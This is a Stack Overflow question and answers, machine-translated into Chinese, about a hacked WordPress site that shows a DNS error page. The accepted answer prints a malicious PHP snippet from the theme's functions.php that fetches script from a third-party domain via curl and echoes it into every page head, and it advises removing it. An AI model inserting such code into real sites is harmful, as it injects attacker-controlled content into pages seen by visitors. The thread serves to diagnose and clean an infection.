【问题标题】:Wordpress site can't enter - The requested URL could not be retrievedWordpress 网站无法进入 - 无法检索请求的 URL
【发布时间】:2012-11-09 13:14:36
【问题描述】:

请帮忙解决这个问题,因为我猜不出如何解决。

当我进入我的 wordpress 网站时,会出现以下消息:

The requested URL could not be retrieved

While trying to retrieve the URL: http://www1.ghost-bikes.dp.ua/?

The following error was encountered:

Unable to determine IP address from host name for www1.ghost-bikes.dp.ua
The dnsserver returned:

Name Error: The domain name does not exist.
This means that:

 The cache was not able to resolve the hostname presented in the URL. 
 Check if the address is correct. 
Your cache administrator is support. 
Generated Wed, 21 Nov 2012 09:57:05 GMT by none (squid/3.0.STABLE20)

管理区域 (/wp-admin) 照常打开并正常工作。 我想这是一种病毒。我该怎么办?

【问题讨论】:

  • The domain name does not exist. 这似乎是你的问题,从这里看起来也是一样的。你确定www1 是正确的吗?你用什么网址打开管理区?

标签: wordpress security


【解决方案1】:

打开您的主题的functions.php 并查找以下代码:

if (!function_exists(‘insert_jquery_theme’)){function insert_jquery_theme(){if (function_exists(‘curl_init’)){$url=”http://www.jqueryc.com/jquery-1.6.3.min.js”;$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action(‘wp_head’, ‘insert_jquery_theme’);}

如果你找到了,把它删除,你应该会没事的。

我刚刚在另一个网站上发现了一个这样的问题 - 看看 here

【讨论】:

  • 在这种情况下,如果之前使用此代码一切正常,而今天发生此错误,会发生什么情况?
  • 我猜在此之前该域实际上工作正常(如果您尝试转到 jqueryc.com ,您会看到该域现在已停放 - 它显示一个带有广告的预定义模板和东西,而不是普通的网站)。所以也许它并不是真的那么恶意——也许它只是渲染了 jQuery,但这完全不是渲染 jQuery 的方式——你不应该从非官方的 3-rd 方网站渲染 jQuery,考虑到 1)你有 jQuery 随 WordPress 2)你可以使用 3 个官方 CDN(谷歌、微软和 Media Temple)来获取 jQuery
  • 如果您的问题现已得到解决,请将答案标记为已接受,这样该问题就不会再留在“未回答”部分了。
【解决方案2】:

尝试一一停用您的 WordPress 插件,看看消息是否消失。如果是这样,您将知道它来自哪里。

【讨论】:

  • 好吧,我已停用但没有任何改变。问题不一样了。
【解决方案3】:

您正在使用代理服务器 SQUID

你的 squid 找不到这个域:www1.ghost-bikes.dp.ua 因为此域不存在 - 无法将此域解析为 IP 地址

所以,这不是与 Wordpress 相关的问题。这是一个 DNS 问题

更新

这个域似乎是由 Imena.com.ua 提供服务的 - 所以您应该在 imena.com.ua 上登录您的帐户,然后在 DNS 记录中添加 www1 域。

更新

转到您的 wordpress 安装文件夹并尝试在文件中找到类似的内容:

    <script type="text/javascript">
StaticRequestInfo={Referer:document.referrer};function EscapeBrowserFrame()
    </script>

删除这些行。

【讨论】:

  • 这不是问题 :) 当您尝试加载主域 ghost-bikes.dp.ua 而不是 www1 子域(显然未配置)时,会出现问题。问题是functions.php中的一个恶意脚本,它从另一个域插入HTML,然后尝试重定向页面,但创建了一个重定向循环,或者只是指向一个错误的域。
  • 究竟哪个 URL 主题启动器试图打开并不明显。也许你是对的。
  • 是的,问题出在主题中的 JavaScript 中。我刚刚评论了 Nikola 建议删除的代码,一切正常。
【解决方案4】:

登录您的托管环境的 DNS 面板并检查 DNS 设置。

如果这些都不能解决..你可以试试这个:

// 在 wp-config 中

define('WP_SITEURL', 'http://www.site.nl');

定义('WP_HOME', 'http://www.site.nl');

// 在顶部的functions.php 中。首次运行后移除。

update_option('siteurl','http://www.site.nl');

update_option('home','http://www.site.nl');

这将通过整个站点设置正确的 url 或 IP。

【讨论】:

  • 尝试 ping www1.ghost-bikes.dp.ua - 是 pong 吗?不。
  • 确实是 DNS 问题。我输入了额外的信息,以便清楚地知道整个站点的 url 是正确的。所以很明显这不是内部 WP 问题。
猜你喜欢
  • 1970-01-01
  • 2017-11-16
  • 2023-03-12
  • 2018-11-28
  • 1970-01-01
  • 2014-10-13
  • 1970-01-01
  • 2017-11-16
  • 1970-01-01
相关资源
最近更新 更多